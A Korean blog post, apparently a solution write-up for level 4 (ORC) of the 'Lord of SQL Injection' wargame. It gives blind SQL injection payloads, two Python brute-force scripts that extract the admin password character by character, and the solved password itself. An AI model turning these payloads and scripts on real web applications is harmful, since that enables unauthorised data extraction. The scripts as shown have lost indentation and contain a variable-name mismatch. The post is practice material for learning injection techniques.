300x250
lord of sqlinjection 4번 ORC
pw 파라미터 값을 찾아야 풀 수 있는 문제입니다.
Hello admin라는 문구가 SQL 쿼리에 참/거짓에 따라 출력되기 때문에 Blind Sql injection을 통해서
pw 파라미터 값을 유추해야합니다.
첫번째, pw 파라미터의 length를 확인합니다.
두번째, brute force로 pw 파라미터 값을 찾습니다.
*** 정답 ***
더보기
패스워드 길이 : ?pw=1' or length(pw)=8%23
패스워드 확인(1자리씩) : ?pw=1' or id='admin' and ASCII(SUBSTR(pw, 자리수, 1))=아스키코드%23
패스워드 : 295d5844
id='admin' and pw='1' -> false
length(pw)=8 -> true
false or true -> true를 리턴하여 Hello admin 출력
SUBSTR() 함수로 pw 파라미터 문자를 하나씩 추출하여 아스키코드를 비교하여 값을 찾는다
파이썬 코드를 이용해서 brueforce 결과 -> 295d5844
파이썬 - Password 길이
cookie=dict(PHPSESSID="세션ID")
url="https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
print("\n\n#### Starting SQL Injection 4번 length ####\n")
result=''
for i in range(1, 20): # 문자열 길이 20까지 확인
param = "?pw=1' or length(pw)=" + str(i) + "%23"
new_url = url + param
req = requests.get(new_url, cookies=cookies)
print("length : " + str(i) + " 대입.....")
if req.text.find("<h2>Hello admin</h2>") > 0:
print("pw length is '" + str(i) + "'")
break
파이썬 - Password Brute_force
cookies=dict(PHPSESSID="세션ID")
url="https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
abc = string.digits + string.ascii_letters
result = ''
print("\nLord of SqlInjection 문제4 패스워드 BruteForce")
for i in range(1, 9):
print(str(i) + "st char.....")
for a in abc:
# ASCII, ord => 아스키코드로 변경하는 함수
param = "?pw=1' or id='admin' and ASCII(SUBSTR(pw, " + str(i) + ", 1))=" + str(ord(a)) + "%23"
new_url = url + param
req = requests.get(new_url, cookies=cookies)
print(param)
if req.text.find("<h2>Hello admin</h2>") > 0:
print(str(i) + "st char is '" + a + "'")
result += a
break
print('=' * 20)
print("Password : " + result)
반응형
'IT Security' 카테고리의 다른 글
Lord of Sqlinjection - 6번 DARKELF (0) | 2019.11.27 |
---|---|
Lord of Sqlinjection - 5번 WOLFMAN (0) | 2019.11.24 |
Lord of Sqlinjection - 3번 GOBLIN (0) | 2019.11.19 |
Lord of Sqlinjection - 2번 COBOLT (0) | 2019.11.18 |
Lord of Sqlinjection - 1번 GREMLIN (0) | 2019.11.18 |